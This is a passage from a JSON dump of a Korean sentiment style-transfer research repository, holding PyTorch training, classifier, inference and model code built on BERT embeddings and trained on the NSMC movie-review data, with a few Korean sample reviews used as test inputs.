gen_out = gen_out.view(-1, gen_out.shape[2]) # (batch x seq_len, vocab_size)\n \n recon_loss = F.cross_entropy(recon_out, final_targets)\n bp_loss = F.cross_entropy(gen_out, final_targets) \n \n if self.gpu == True: \n return recon_loss.cuda(), bp_loss.cuda()\n else:\n return recon_loss, bp_loss\n \n def cls_loss(self, targets, cls_out):\n \"\"\"\n targets: (batch, 2) / attributes [0,1] or [1,0]\n cls_out: (batch, 2) (logits) \"\"\"\n \n final_targets = targets.argmax(1) # (batch)\n cls_loss = F.cross_entropy(cls_out, final_targets)\n \n if self.gpu == True: \n return cls_loss.cuda()\n else:\n return cls_loss\n \n " }, { "alpha_fraction": 0.5584362149238586, "alphanum_fraction": 0.5729423761367798, "avg_line_length": 34.870849609375, "blob_id": "f5f9ec41fb8a7ac8ff90bfa869609ed8108e6ea5", "content_id": "d7d0d0a422638c94ebec277cf72f316302937ed3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9720, "license_type": "no_license", "max_line_length": 184, "num_lines": 271, "path": "/Not_preserving_context_v3/train.py", "repo_name": "rungjoo/korea_sentiment_style_transfer", "src_encoding": "UTF-8", "text": "import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom itertools import chain\nfrom tqdm import tqdm\nimport os\n\nimport sys\nsys.path.insert(0, \"/DATA/joosung/pytorch_pretrained_BERT_master\")\nfrom pytorch_pretrained_bert.tokenization import load_vocab\nfrom pytorch_bert_embedding import *\nimport torch.optim as optim\n\nbert_model, bert_tokenizer = bert_model_load('bert-base-multilingual-cased')\n\nfrom tensorboardX import SummaryWriter\nsummary = SummaryWriter(logdir='./logs')\n\nn_iter = 50000\nvocab_size = 6222\nmb_size = 32\n\nvocab = load_vocab('/DATA/joosung/pytorch_pretrained_BERT_master/korea_vocab.txt')\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\ngpu_use = True \n\n\nfrom model import TowardModel\nmodel = TowardModel(gpu=gpu_use)\nmodel_name='simple_model_30000'\nmodel.load_state_dict(torch.load('models/{}'.format(model_name)))\n\nmodel = model.to(device)\nmodel.train()\n\ndef main():\n initial_lr = 0.001 / (2*2*2*2*2*2)\n aed_trainer = optim.Adamax(model.aed_params, lr=initial_lr, betas=(0.5, 0.999)) # initial 0.001\n cls_trainer = optim.Adamax(model.cls_params, lr=initial_lr) # initial 0.001\n gen_cls_trainer = optim.Adamax(model.att_params, lr=initial_lr/2) # att parameters\n \n max_grad_norm = 10\n weight_decay = 5000\n\n f = open(\"../../sentiment_data/nsmc-master/ratings_train.txt\", 'r')\n lines = f.readlines()\n data_number = len(lines)-1\n\n line_number = 0\n for it in tqdm(range(30000, n_iter)):\n if (it+1) % weight_decay == 0:\n initial_lr = initial_lr / 2\n aed_trainer = optim.Adamax(model.aed_params, lr=initial_lr, betas=(0.5, 0.999)) # initial 0.001\n cls_trainer = optim.Adamax(model.cls_params, lr=initial_lr) # initial 0.001\n gen_cls_trainer = optim.Adamax(model.att_params, lr=initial_lr/2) # att parameters \n \n inputs_value = []\n inputs_token = []\n labels = []\n fake_labels = []\n\n input_line = f.readline()\n\n inputsize = 0 # count batch size\n while inputsize < mb_size:\n line_number = line_number % data_number + 1\n\n token_value_list = []\n token_list = []\n\n input_line = lines[line_number]\n\n input_split = re.split('\\t', input_line)\n\n input_sentence = input_split[1]\n input_label = input_split[2].strip()\n\n condition = True\n try:\n input_label = float(input_label)\n\n if len(input_sentence) < 1 or (len(bert_tokenizer.tokenize(input_sentence))==1 and bert_tokenizer.tokenize(input_sentence)[0]=='[UNK]'):\n condition = False\n else:\n condition = True\n except:\n condition = False \n\n if condition:\n if input_label == 0:\n input_label = [1, 0]\n fake_label = [0, 1]\n else:\n input_label = [0, 1]\n fake_label = [1, 0]\n labels.append(input_label)\n fake_labels.append(fake_label)\n\n output_bert = embedding(input_sentence, bert_model, bert_tokenizer) \n # print(input_sentence, len(output_bert['features']))\n\n for token_order in range(len(output_bert['features'])):\n token_value = np.asarray(output_bert['features'][token_order]['layers'][0]['values'])\n token_value = torch.from_numpy(token_value)\n token_value = token_value.unsqueeze(0) \n token_value_list.append(token_value)\n\n token_list.append(vocab[output_bert['features'][token_order]['token']]) \n token_value_emb = torch.cat(token_value_list,0)\n token_value_emb = token_value_emb.unsqueeze(1).type(torch.FloatTensor) # [token_len, 1, emb_dim]\n token_value_emb = token_value_emb[1:-1,:,:] # without [CLS], [SEP]\n\n\n inputs_value.append(token_value_emb)\n\n tokens = np.asarray(token_list[:-1]) # without [SEP]\n tokens = torch.from_numpy(tokens)\n inputs_token.append(tokens) # [[token_len], ...]\n\n inputsize += 1\n\n enc_value = padding_values(inputs_value).to(device)\n dec_token = padding_tokens(inputs_token).to(device)\n\n attributes = torch.from_numpy(np.asarray(labels)).type(torch.FloatTensor).to(device)\n fake_attributes = torch.from_numpy(np.asarray(fake_labels)).type(torch.FloatTensor).to(device)\n\n ## train\n enc_out = model.encoder(enc_value)\n dec_out, dec_out_vocab = model.decoder(enc_value, dec_token, attributes)\n\n gen_tokens = model.generator(enc_value, fake_attributes)\n gen_sentences = model.gen2sentence(gen_tokens)\n\n gen_value = []\n for i in range(len(gen_sentences)):\n output_bert = embedding(gen_sentences[i], bert_model, bert_tokenizer)\n\n token_value_list = []\n for token_order in range(len(output_bert['features'])):\n token_value = np.asarray(output_bert['features'][token_order]['layers'][0]['values'])\n token_value = torch.from_numpy(token_value)\n token_value = token_value.unsqueeze(0) \n token_value_list.append(token_value)\n\n token_value_emb = torch.cat(token_value_list,0)\n token_value_emb = token_value_emb.unsqueeze(1).type(torch.FloatTensor) # [token_len, 1, emb_dim]\n token_value_emb = token_value_emb[1:-1,:,:] # without [CLS], [SEP]\n\n gen_value.append(token_value_emb) \n\n\n gen_enc_value = padding_values(gen_value).to(device)\n\n gen_enc_out = model.encoder(gen_enc_value)\n gen_dec_out, gen_dec_out_vocab = model.decoder(gen_enc_value, dec_token, attributes)\n\n cls_out = model.discriminator(dec_token[:,1:-1]) # without [CLS], [SEP]\n # gen_cls_out = model.discriminator(gen_tokens) # not working train to encoder/decoder\n gen_cls_out = model.gen2cls(enc_value, fake_attributes)\n\n \"\"\"\n AE train\n \"\"\"\n recon_loss, bp_loss = model.AED_loss(dec_token, dec_out_vocab, gen_dec_out_vocab)\n\n w = it//weight_decay * 0.1\n\n aed_loss = (1-w)*recon_loss + (1+w)*bp_loss # 30000 steps change to (1+w)\n\n summary.add_scalar('recon_loss', recon_loss.item(), it)\n summary.add_scalar('bp_loss', bp_loss.item(), it)\n summary.add_scalar('aed_loss', aed_loss.item(), it)\n\n aed_trainer.zero_grad()\n aed_loss.backward() \n grad_norm = torch.nn.utils.clip_grad_norm_(model.aed_params, max_grad_norm) \n aed_trainer.step()\n\n\n \"\"\"\n cls train\n \"\"\"\n cls_loss = model.cls_loss(attributes, cls_out)\n\n summary.add_scalar('cls_loss', cls_loss.item(), it)\n\n cls_trainer.zero_grad()\n cls_loss.backward()\n grad_norm = torch.nn.utils.clip_grad_norm_(model.cls_params, max_grad_norm) \n cls_trainer.step()\n\n \"\"\"\n fianl train\n \"\"\"\n gen_cls_loss = model.cls_loss(fake_attributes, gen_cls_out)\n\n summary.add_scalar('gen_cls_loss', gen_cls_loss.item(), it)\n\n gen_cls_trainer.zero_grad()\n gen_cls_loss.backward()\n grad_norm = torch.nn.utils.clip_grad_norm_(model.att_params, max_grad_norm) \n gen_cls_trainer.step()\n\n # print(\"recon_loss:{}, bp_loss:{}, aed_loss:{}, cls_loss:{}, gen_cls_loss:{}\".format(recon_loss.item(), bp_loss.item(), aed_loss.item(), cls_loss.item(), gen_cls_loss.item()))\n \n if (it+1) % 5000 == 0:\n save_model(it+1)\n\n\ndef padding_values(emb_list):\n max_len = 0\n for i in range(len(emb_list)): \n if max_len < emb_list[i].shape[0]:\n max_len = emb_list[i].shape[0]\n \n padding_list= []\n for i in range(len(emb_list)):\n emb = emb_list[i]\n bert_dim = emb.shape[2]\n \n padding_length = max_len-emb.shape[0]\n padding_zero = np.zeros([padding_length, 1, bert_dim])\n padding_tensor = torch.from_numpy(padding_zero).type(torch.FloatTensor) \n \n padding_emb = torch.cat([emb, padding_tensor], 0)\n \n padding_list.append(padding_emb)\n \n return torch.cat(padding_list,1)\n\ndef padding_tokens(tokens_list):\n \"\"\"\n tokens: list [[token ... token], ..., [token ... token]] mbsize / seq_len\n ouput_tokens: [max_length, mb_size] \n \"\"\"\n max_len = 0\n for i in range(len(tokens_list)): \n if max_len < len(tokens_list[i]):\n max_len = len(tokens_list[i])\n \n PAD_IDX = 2\n SEP_IDX = 4\n for k in range(len(tokens_list)):\n padding_length = max_len - len(tokens_list[k])\n \n padding_list = []\n for p in range(padding_length):\n padding_list.append(PAD_IDX)\n \n padding_tokens = np.asarray(padding_list)\n padding_tokens = torch.from_numpy(padding_tokens)\n if padding_length > 0:\n tokens_list[k] = torch.cat([tokens_list[k], padding_tokens])\n \n sep_list = np.asarray([SEP_IDX])\n sep_tokens = torch.from_numpy(sep_list)\n tokens_list[k] = torch.cat([tokens_list[k], sep_tokens]).unsqueeze(0)\n \n return torch.cat(tokens_list, 0)\n\ndef save_model(iter):\n if not os.path.exists('models/'):\n os.makedirs('models/')\n torch.save(model.state_dict(), 'models/simple_model_{}'.format(iter)) \n \n\nif __name__ == '__main__':\n torch.cuda.empty_cache()\n main()" }, { "alpha_fraction": 0.5437778830528259, "alphanum_fraction": 0.5571733713150024, "avg_line_length": 29.66666603088379, "blob_id": "7ac03ac85a0f19e628343dacecb6d85088ce6b62", "content_id": "0a2a801f9cc0287a9fe1d9f0031d9e208d3012cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5151, "license_type": "no_license", "max_line_length": 152, "num_lines": 168, "path": "/classifier_v4/train.py", "repo_name": "rungjoo/korea_sentiment_style_transfer", "src_encoding": "UTF-8", "text": "import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom itertools import chain\nfrom tqdm import tqdm\nimport os\n\nimport sys\nsys.path.insert(0, \"/DATA/joosung/pytorch_pretrained_BERT_master\")\nfrom pytorch_pretrained_bert.tokenization import load_vocab\nfrom pytorch_bert_embedding import *\nimport torch.optim as optim\n\nbert_model, bert_tokenizer = bert_model_load('bert-base-multilingual-cased')\n\nfrom tensorboardX import SummaryWriter\nsummary = SummaryWriter(logdir='./logs')\n\nn_iter = 50000\nvocab_size = 6222\nmb_size = 32\n\nvocab = load_vocab('/DATA/joosung/pytorch_pretrained_BERT_master/korea_vocab.txt')\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\ngpu_use = True \n\nfrom model import TowardModel\nmodel = TowardModel(gpu=gpu_use)\n\nmodel = model.to(device)\nmodel.train()\n\ndef main():\n initial_lr = 0.001\n cls_trainer = optim.Adamax(model.cls_params, lr=initial_lr) # initial 0.001\n \n max_grad_norm = 10\n weight_decay = 5000\n\n f = open(\"../../sentiment_data/nsmc-master/ratings_train.txt\", 'r')\n lines = f.readlines()\n data_number = len(lines)-1\n\n line_number = 0\n for it in tqdm(range(n_iter)):\n if (it+1) % weight_decay == 0:\n initial_lr = initial_lr / 2\n cls_trainer = optim.Adamax(model.cls_params, lr=initial_lr) # initial 0.001\n \n inputs_value = []\n inputs_token = []\n labels = []\n fake_labels = []\n\n input_line = f.readline()\n\n inputsize = 0 # count batch size\n while inputsize < mb_size:\n line_number = line_number % data_number + 1\n\n token_value_list = []\n token_list = []\n\n input_line = lines[line_number]\n\n input_split = re.split('\\t', input_line)\n\n input_sentence = input_split[1]\n input_label = input_split[2].strip()\n\n condition = True\n try:\n input_label = float(input_label)\n\n if len(input_sentence) < 1 or (len(bert_tokenizer.tokenize(input_sentence))==1 and bert_tokenizer.tokenize(input_sentence)[0]=='[UNK]'):\n condition = False\n else:\n condition = True\n except:\n condition = False \n\n if condition:\n if input_label == 0:\n input_label = [1, 0]\n fake_label = [0, 1]\n else:\n input_label = [0, 1]\n fake_label = [1, 0]\n labels.append(input_label)\n fake_labels.append(fake_label)\n\n output_bert = embedding(input_sentence, bert_model, bert_tokenizer) \n\n for token_order in range(len(output_bert['features'])):\n try:\n token_list.append(vocab[output_bert['features'][token_order]['token']])\n except:\n token_list.append(vocab['[UNK]']) \n\n tokens = np.asarray(token_list[:-1]) # without [SEP]\n tokens = torch.from_numpy(tokens)\n inputs_token.append(tokens) # [[token_len], ...]\n\n inputsize += 1\n\n dec_token = padding_tokens(inputs_token).to(device)\n\n attributes = torch.from_numpy(np.asarray(labels)).type(torch.FloatTensor).to(device)\n\n ## train\n cls_out = model.discriminator(dec_token[:,1:-1]) # without [CLS], [SEP]\n\n \"\"\"\n cls train\n \"\"\"\n cls_loss = model.cls_loss(attributes, cls_out)\n\n summary.add_scalar('cls_loss', cls_loss.item(), it)\n\n cls_trainer.zero_grad()\n cls_loss.backward()\n grad_norm = torch.nn.utils.clip_grad_norm_(model.cls_params, max_grad_norm) \n cls_trainer.step()\n\n if (it+1) % 5000 == 0:\n save_model(it+1)\n\n\ndef padding_tokens(tokens_list):\n \"\"\"\n tokens: list [[token ... token], ..., [token ... token]] mbsize / seq_len\n ouput_tokens: [max_length, mb_size] \n \"\"\"\n max_len = 0\n for i in range(len(tokens_list)): \n if max_len < len(tokens_list[i]):\n max_len = len(tokens_list[i])\n \n PAD_IDX = 2\n SEP_IDX = 4\n for k in range(len(tokens_list)):\n padding_length = max_len - len(tokens_list[k])\n \n padding_list = []\n for p in range(padding_length):\n padding_list.append(PAD_IDX)\n \n padding_tokens = np.asarray(padding_list)\n padding_tokens = torch.from_numpy(padding_tokens)\n if padding_length > 0:\n tokens_list[k] = torch.cat([tokens_list[k], padding_tokens])\n \n sep_list = np.asarray([SEP_IDX])\n sep_tokens = torch.from_numpy(sep_list)\n tokens_list[k] = torch.cat([tokens_list[k], sep_tokens]).unsqueeze(0)\n \n return torch.cat(tokens_list, 0)\n\ndef save_model(iter):\n if not os.path.exists('models/'):\n os.makedirs('models/')\n torch.save(model.state_dict(), 'models/simple_model_classifier_{}'.format(iter)) \n \n\nif __name__ == '__main__':\n torch.cuda.empty_cache()\n main()" }, { "alpha_fraction": 0.5174129605293274, "alphanum_fraction": 0.5504975318908691, "avg_line_length": 37.864078521728516, "blob_id": "16eaee03b68fa1a7c932ef290bd63fce99185875", "content_id": "eafd1d604e9d7c56790eee6ee6b964bead87254b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4020, "license_type": "no_license", "max_line_length": 125, "num_lines": 103, "path": "/classifier_v4/model.py", "repo_name": "rungjoo/korea_sentiment_style_transfer", "src_encoding": "UTF-8", "text": "import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom itertools import chain\n\nimport sys\nsys.path.insert(0, \"/DATA/joosung/pytorch_pretrained_BERT_master\")\nfrom pytorch_pretrained_bert.tokenization import load_vocab\nfrom pytorch_bert_embedding import *\n\nclass TowardModel(nn.Module):\n def __init__(self, drop_rate=0, gpu = True):\n super(TowardModel, self).__init__()\n \n self.UNK_IDX = 1\n self.PAD_IDX = 2\n self.START_IDX = 3\n self.EOS_IDX = 4\n self.MAX_SENT_LEN = 30\n self.gpu = gpu\n \n self.n_vocab = 6222\n self.emb_dim = 768\n \n self.vocab = load_vocab('/DATA/joosung/pytorch_pretrained_BERT_master/korea_vocab.txt')\n self.pos2token = {}\n for k,v in self.vocab.items():\n self.pos2token[v] = k\n \n self.word_dim = self.emb_dim # 768\n self.word_emb = nn.Embedding(self.n_vocab, self.word_dim, self.PAD_IDX)\n \"\"\"\n Discriminator(classifier)\n \"\"\"\n self.channel_out = 100\n self.conv2d_2 = nn.Conv2d(1,self.channel_out,(2,self.emb_dim))\n self.conv2d_3 = nn.Conv2d(1,self.channel_out,(3,self.emb_dim))\n self.conv2d_4 = nn.Conv2d(1,self.channel_out,(4,self.emb_dim))\n self.conv2d_5 = nn.Conv2d(1,self.channel_out,(5,self.emb_dim))\n self.fc_drop = nn.Dropout(drop_rate)\n self.disc_fc = nn.Linear(4*self.channel_out, 2)\n \n \n ## parameters\n # self.matrix_A.parameters()\n self.cls_params = list(self.conv2d_2.parameters())+list(self.conv2d_3.parameters())+list(self.conv2d_4.parameters())\\\n +list(self.conv2d_5.parameters())+list(self.disc_fc.parameters())+list(self.word_emb.parameters()) \n \n \n def discriminator(self, tokens):\n \"\"\"\n tokens: (batch, seq_len)\n \"\"\"\n if tokens.size(1) < 5:\n padding_size = 5-tokens.size(1)\n padding_token = []\n for k in range(tokens.size(0)):\n temp = []\n for i in range(padding_size):\n temp.append(self.PAD_IDX)\n padding_token.append(temp) \n padding_token=torch.from_numpy(np.array(padding_token))\n if self.gpu == True:\n padding_token = padding_token.cuda()\n tokens=torch.cat([tokens,padding_token], 1) # (batch, seq_len+padding) = (batch, 5)\n \n word_emb = self.word_emb(tokens) # (batch, seq_len, word_dim)\n word_2d = word_emb.unsqueeze(1) # (batch, 1, seq_len, word_dim)\n\n x2 = F.relu(self.conv2d_2(word_2d)).squeeze(3) # bi-gram, (batch, channel_out, seq_len-1)\n x3 = F.relu(self.conv2d_3(word_2d)).squeeze(3) # 3-gram, (batch, channel_out, seq_len-2)\n x4 = F.relu(self.conv2d_4(word_2d)).squeeze(3) # 4-gram, (batch, channel_out, seq_len-3)\n x5 = F.relu(self.conv2d_5(word_2d)).squeeze(3) # 5-gram, (batch, channel_out, seq_len-4)\n \n # Max-over-time-pool\n x2 = F.max_pool1d(x2, x2.size(2)).squeeze(2) # (batch, channel_out)\n x3 = F.max_pool1d(x3, x3.size(2)).squeeze(2) # (batch, channel_out)\n x4 = F.max_pool1d(x4, x4.size(2)).squeeze(2) # (batch, channel_out)\n x5 = F.max_pool1d(x5, x5.size(2)).squeeze(2) # (batch, channel_out)\n \n x = torch.cat([x2, x3, x4, x5], dim=1) # (batch, channel_out*4)\n\n y1 = self.fc_drop(x)\n y2 = self.disc_fc(y1) # (batch, 2)\n\n if self.gpu == True:\n return y2.cuda()\n else:\n return y2\n \n def cls_loss(self, targets, cls_out):\n \"\"\"\n targets: (batch, 2) / attributes [0,1] or [1,0]\n cls_out: (batch, 2) (logits) \"\"\"\n \n final_targets = targets.argmax(1) # (batch)\n cls_loss = F.cross_entropy(cls_out, final_targets)\n \n if self.gpu == True: \n return cls_loss.cuda()\n else:\n return cls_loss\n \n " }, { "alpha_fraction": 0.7222222089767456, "alphanum_fraction": 0.7222222089767456, "avg_line_length": 35, "blob_id": "eb06f5f9a325a41753875d925ebc152aff826dfd", "content_id": "db5edade21d38be54762d17aa252532d34fb4604", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 54, "license_type": "no_license", "max_line_length": 35, "num_lines": 1, "path": "/classifier_v4/Readme.md", "repo_name": "rungjoo/korea_sentiment_style_transfer", "src_encoding": "UTF-8", "text": "## model에서 cls부분만 학습 (generator 없이)\n" }, { "alpha_fraction": 0.5769786238670349, "alphanum_fraction": 0.5890191197395325, "avg_line_length": 33.04371643066406, "blob_id": "a6ed7a05bad9683505e6841ebd21572e46f7b50b", "content_id": "7aa671904ba7f37bb9c6ed69f7d84f34aef78110", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6599, "license_type": "no_license", "max_line_length": 104, "num_lines": 183, "path": "/Not_preserving_context_v3/inference_sample.py", "repo_name": "rungjoo/korea_sentiment_style_transfer", "src_encoding": "UTF-8", "text": "import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom itertools import chain\nfrom tqdm import tqdm\n\nimport sys\nsys.path.insert(0, \"/DATA/joosung/pytorch_pretrained_BERT_master\")\nfrom pytorch_pretrained_bert.tokenization import load_vocab\nfrom pytorch_bert_embedding import *\nimport torch.optim as optim\n\nbert_model, bert_tokenizer = bert_model_load('bert-base-multilingual-cased')\n\nn_iter = 1\nvocab_size = 6222\nmb_size = 1\n\nvocab = load_vocab('/DATA/joosung/pytorch_pretrained_BERT_master/korea_vocab.txt')\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\ngpu_use = True \n\nfrom model import TowardModel\nmodel = TowardModel(gpu=gpu_use)\nmodel_name='simple_model_50000'\nmodel.load_state_dict(torch.load('models/{}'.format(model_name)))\n\nmodel = model.to(device)\nmodel.eval()\n\ndef main():\n input_sentence_list = []\n input_sentence_list.append('진짜 진~짜 할 일 없을 때 보시길...')\n input_sentence_list.append('S급 남녀주인공으로 만든 C급 영화') \n input_sentence_list.append('짱깨 영화에 아까운 시간을 빼앗겼다.')\n input_sentence_list.append('마지막까지 힘을잃지않은 드라마~~')\n input_sentence_list.append('노래와 배우가 매력적인 영화..') \n input_sentence_list.append('허술한부분이 많지만 10년전임을 감안할때 놀랍습니다!') \n input_sentence_list.append('한국 애니 화이팅! 우수한 애니메이터들이 외국에 안가도 되도록 한국애니도 많은 지원해줬으면..') \n input_sentence_list.append('와 보는내내 긴장감이 쩐다 쿠엔텐 타란티노 진짜 영화 잘만드는 거는 인정해야 할 듯')\n input_sentence_list.append('캐스팅된 배우가 아깝다')\n input_sentence_list.append('신선한 로맨스 저절로 웃음이난다') \n \n input_label_list = []\n input_label_list.append(0)\n input_label_list.append(0)\n input_label_list.append(0)\n input_label_list.append(1)\n input_label_list.append(1)\n input_label_list.append(1)\n input_label_list.append(1)\n input_label_list.append(1)\n input_label_list.append(0)\n input_label_list.append(1)\n \n for k in range(len(input_sentence_list)): \n inputs_value = []\n inputs_token = []\n labels = []\n token_value_list = []\n \n input_sentence = input_sentence_list[k] \n input_label = input_label_list[k]\n\n output_bert = embedding(input_sentence, bert_model, bert_tokenizer) \n\n for token_order in range(len(output_bert['features'])):\n token_value = np.asarray(output_bert['features'][token_order]['layers'][0]['values'])\n token_value = torch.from_numpy(token_value)\n token_value = token_value.unsqueeze(0) \n token_value_list.append(token_value)\n \n token_value_emb = torch.cat(token_value_list,0)\n token_value_emb = token_value_emb.unsqueeze(1).type(torch.FloatTensor) # [token_len, 1, emb_dim]\n token_value_emb = token_value_emb[1:-1,:,:] # without [CLS], [SEP]\n\n inputs_value.append(token_value_emb)\n\n enc_value = padding_values(inputs_value).to(device)\n\n if input_label == 0:\n start_label = [1, 0]\n gt = 'negative'\n else:\n start_label = [0, 1]\n gt = 'positive'\n\n print(input_sentence, gt)\n for i in range(11):\n labels = []\n latent_label = []\n if input_label == 0:\n latent_label.append(start_label[0] - i*0.1)\n latent_label.append(start_label[1] + i*0.1)\n else:\n latent_label.append(start_label[0] + i*0.1)\n latent_label.append(start_label[1] - i*0.1)\n labels.append(latent_label) \n\n attributes = torch.from_numpy(np.asarray(labels)).type(torch.FloatTensor).to(device)\n\n ## inference\n recon_gen_tokens = model.generator(enc_value, attributes, train=False)\n real_gen_sentences = model.gen2sentence(recon_gen_tokens)\n\n cls_1 = model.discriminator(recon_gen_tokens)\n if cls_1.argmax() == 0:\n cls_1 = 'negative'\n else:\n cls_1 = 'positive'\n real_gen_sentences = postprocessing(real_gen_sentences)\n print(\"latent attributes: \", latent_label, \" \", real_gen_sentences, \" cls_out: \", cls_1)\n \n print(' ')\n\n\ndef padding_values(emb_list):\n max_len = 0\n for i in range(len(emb_list)): \n if max_len < emb_list[i].shape[0]:\n max_len = emb_list[i].shape[0]\n \n padding_list= []\n for i in range(len(emb_list)):\n emb = emb_list[i]\n bert_dim = emb.shape[2]\n \n padding_length = max_len-emb.shape[0]\n padding_zero = np.zeros([padding_length, 1, bert_dim])\n padding_tensor = torch.from_numpy(padding_zero).type(torch.FloatTensor) \n \n padding_emb = torch.cat([emb, padding_tensor], 0)\n \n padding_list.append(padding_emb)\n \n return torch.cat(padding_list,1)\n\ndef padding_tokens(tokens_list):\n \"\"\"\n tokens: list [[token ... token], ..., [token ... token]] mbsize / seq_len\n ouput_tokens: [max_length, mb_size] \n \"\"\"\n max_len = 0\n for i in range(len(tokens_list)): \n if max_len < len(tokens_list[i]):\n max_len = len(tokens_list[i])\n \n PAD_IDX = 2\n SEP_IDX = 4\n for k in range(len(tokens_list)):\n padding_length = max_len - len(tokens_list[k])\n \n padding_list = []\n for p in range(padding_length):\n padding_list.append(PAD_IDX)\n \n padding_tokens = np.asarray(padding_list)\n padding_tokens = torch.from_numpy(padding_tokens)\n if padding_length > 0:\n tokens_list[k] = torch.cat([tokens_list[k], padding_tokens])\n \n sep_list = np.asarray([SEP_IDX])\n sep_tokens = torch.from_numpy(sep_list)\n tokens_list[k] = torch.cat([tokens_list[k], sep_tokens]).unsqueeze(0)\n \n return torch.cat(tokens_list, 0)\n\ndef postprocessing(token_list):\n sentence = token_list[0]\n \n sentence = sentence.replace('[PAD]', '')\n # sentence = sentence.replace('[UNK]', '')\n \n sep_pos = sentence.find('[SEP]')\n if sep_pos == -1:\n return sentence.strip()\n else:\n return sentence[:sep_pos].strip() \n\nif __name__ == '__main__':\n torch.cuda.empty_cache()\n main()" }, { "alpha_fraction": 0.5572952032089233, "alphanum_fraction": 0.5779441595077515, "avg_line_length": 30.485713958740234, "blob_id": "e53db333a7570f416938ace0722c15852efe3337", "content_id": "8f08d6a3df7f068d4a5c503c1b860971a0a4239a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4407, "license_type": "no_license", "max_line_length": 152, "num_lines": 140, "path": "/Not_preserving_context_v3/confirm.py", "repo_name": "rungjoo/korea_sentiment_style_transfer", "src_encoding": "UTF-8", "text": "import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom itertools import chain\nfrom tqdm import tqdm\nimport os\n\nimport sys\nsys.path.insert(0, \"/DATA/joosung/pytorch_pretrained_BERT_master\")\nfrom pytorch_pretrained_bert.tokenization import load_vocab\nfrom pytorch_bert_embedding import *\nimport torch.optim as optim\n\nbert_model, bert_tokenizer = bert_model_load('bert-base-multilingual-cased')\n\nfrom tensorboardX import SummaryWriter\nsummary = SummaryWriter(logdir='./logs')\n\nn_iter = 50000\nvocab_size = 6222\nmb_size = 32\n\nvocab = load_vocab('/DATA/joosung/pytorch_pretrained_BERT_master/korea_vocab.txt')\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\ngpu_use = True \n\n\nfrom model import TowardModel\nmodel = TowardModel(gpu=gpu_use)\nmodel_name='simple_model_30000'\nmodel.load_state_dict(torch.load('models/{}'.format(model_name)))\n\nmodel = model.to(device)\nmodel.train()\n\ndef main():\n initial_lr = 0.001\n aed_trainer = optim.Adamax(model.aed_params, lr=initial_lr, betas=(0.5, 0.999)) # initial 0.001\n cls_trainer = optim.Adamax(model.cls_params, lr=initial_lr) # initial 0.001\n gen_cls_trainer = optim.Adamax(model.att_params, lr=initial_lr/2) # att parameters\n \n max_grad_norm = 10\n weight_decay = 5000\n\n f = open(\"../../sentiment_data/nsmc-master/ratings_train.txt\", 'r')\n lines = f.readlines()\n data_number = len(lines)-1\n\n line_number = 0\n for it in tqdm(range(30000, n_iter)):\n if (it+1) % weight_decay == 0:\n initial_lr = initial_lr / 2\n aed_trainer = optim.Adamax(model.aed_params, lr=initial_lr, betas=(0.5, 0.999)) # initial 0.001\n cls_trainer = optim.Adamax(model.cls_params, lr=initial_lr) # initial 0.001\n gen_cls_trainer = optim.Adamax(model.att_params, lr=initial_lr/2) # att parameters \n \n inputs_value = []\n inputs_token = []\n labels = []\n fake_labels = []\n\n input_line = f.readline()\n\n inputsize = 0 # count batch size\n while inputsize < mb_size:\n line_number = line_number % data_number + 1\n\n token_value_list = []\n token_list = []\n\n input_line = lines[line_number]\n\n input_split = re.split('\\t', input_line)\n\n input_sentence = input_split[1]\n input_label = input_split[2].strip()\n\n condition = True\n try:\n input_label = float(input_label)\n\n if len(input_sentence) < 1 or (len(bert_tokenizer.tokenize(input_sentence))==1 and bert_tokenizer.tokenize(input_sentence)[0]=='[UNK]'):\n condition = False\n else:\n condition = True\n except:\n condition = False \n\n if condition:\n if input_label == 0:\n print(input_label)\n input_label = [1, 0]\n fake_label = [0, 1]\n else:\n print(input_label)\n input_label = [0, 1]\n fake_label = [1, 0]\n inputsize += 1\n\n\ndef padding_tokens(tokens_list):\n \"\"\"\n tokens: list [[token ... token], ..., [token ... token]] mbsize / seq_len\n ouput_tokens: [max_length, mb_size] \n \"\"\"\n max_len = 0\n for i in range(len(tokens_list)): \n if max_len < len(tokens_list[i]):\n max_len = len(tokens_list[i])\n \n PAD_IDX = 2\n SEP_IDX = 4\n for k in range(len(tokens_list)):\n padding_length = max_len - len(tokens_list[k])\n \n padding_list = []\n for p in range(padding_length):\n padding_list.append(PAD_IDX)\n \n padding_tokens = np.asarray(padding_list)\n padding_tokens = torch.from_numpy(padding_tokens)\n if padding_length > 0:\n tokens_list[k] = torch.cat([tokens_list[k], padding_tokens])\n \n sep_list = np.asarray([SEP_IDX])\n sep_tokens = torch.from_numpy(sep_list)\n tokens_list[k] = torch.cat([tokens_list[k], sep_tokens]).unsqueeze(0)\n \n return torch.cat(tokens_list, 0)\n\ndef save_model(iter):\n if not os.path.exists('models/'):\n os.makedirs('models/')\n torch.save(model.state_dict(), 'models/simple_model_{}'.format(iter)) \n \n\nif __name__ == '__main__':\n torch.cuda.empty_cache()\n main()" }, { "alpha_fraction": 0.6112759709358215, "alphanum_fraction": 0.7062314748764038, "avg_line_length": 32.79999923706055, "blob_id": "886108a1747dcfd1dff66b3941fa73d40f75da81", "content_id": "5310df8267d706a8c1d0420c42654a1b08f4598d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 361, "license_type": "no_license", "max_line_length": 86, "num_lines": 10, "path": 